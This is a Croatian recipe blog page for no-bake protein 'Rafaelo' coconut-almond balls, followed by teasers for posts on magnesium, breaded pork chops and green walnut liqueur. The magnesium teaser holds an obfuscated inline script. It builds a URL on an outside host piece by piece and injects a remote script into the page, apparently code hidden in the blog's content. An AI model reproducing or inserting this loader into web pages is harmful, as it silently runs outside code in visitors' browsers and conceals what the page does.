PROTEINSKE RAFAELO KUGLICE




Proteinske rafaelo kuglice 



Proteinske kuglice posljednjih su godina postale nezaobilazan desert u mnogim kuhinjama. Razlog je jednostavan: pripremaju se za nekoliko minuta, ne peku se, a mogu zadovoljiti želju za slatkim bez gomile sastojaka. Među brojnim varijantama posebno se ističu Rafaelo kuglice, koje kombinacijom kokosa, badema i kremaste teksture podsjećaju na istoimenu slasticu. Ako tražite brz desert koji možete pripremiti unaprijed i držati u hladnjaku, ovaj recept mogao bi vas ugodno iznenaditi. Proteinske Rafaelo kuglice spajaju jednostavne sastojke, brzo su gotove i odličan su izbor za međuobrok ili desert nakon ručka.





Proteinske rafaelo kuglice 


Sastojci:

  • 200 g posnog sira
  • 40 g proteina od vanilije
  • 60 g kokosova brašna + malo za uvaljati
  • 1 do 2 žlice meda ili javorova sirupa (po želji)
  • 1 žličica ekstrakta vanilije
  • 10 do 12 badema



Priprema:

U zdjeli pomiješajte posni sir, protein od vanilije, kokosovo brašno, med i ekstrakt vanilije.

Miješajte dok ne dobijete gustu i ujednačenu smjesu.
 
Ako je smjesa premekana, dodajte još malo kokosova brašna. Ako je pregusta, umiješajte žlicu mlijeka ili grčkog jogurta.
 
Od smjese oblikujte kuglice. U sredinu svake utisnite jedan badem pa ponovno zatvorite kuglicu.
 
Na kraju ih uvaljajte u kokosovo brašno i stavite u hladnjak na najmanje pola sata kako bi se stisnule.
 
Želite li da kuglice još više podsjećaju na klasični Rafaelo, u smjesu možete dodati žlicu sitno mljevenih badema ili malo naribane korice limuna koja će desertu dati dodatnu svježinu.

Desert koji uvijek možete imati pri ruci
Proteinske Rafaelo kuglice mogu stajati u hladnjaku nekoliko dana pa su praktičan izbor kada vam se jede nešto slatko, a ne želite posegnuti za kupovnim slasticama. Poslužene dobro ohlađene posebno prijaju tijekom toplih ljetnih dana, a zbog jednostavne pripreme često se nađu na popisu omiljenih recepata onih koji traže brze i laganije deserte.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više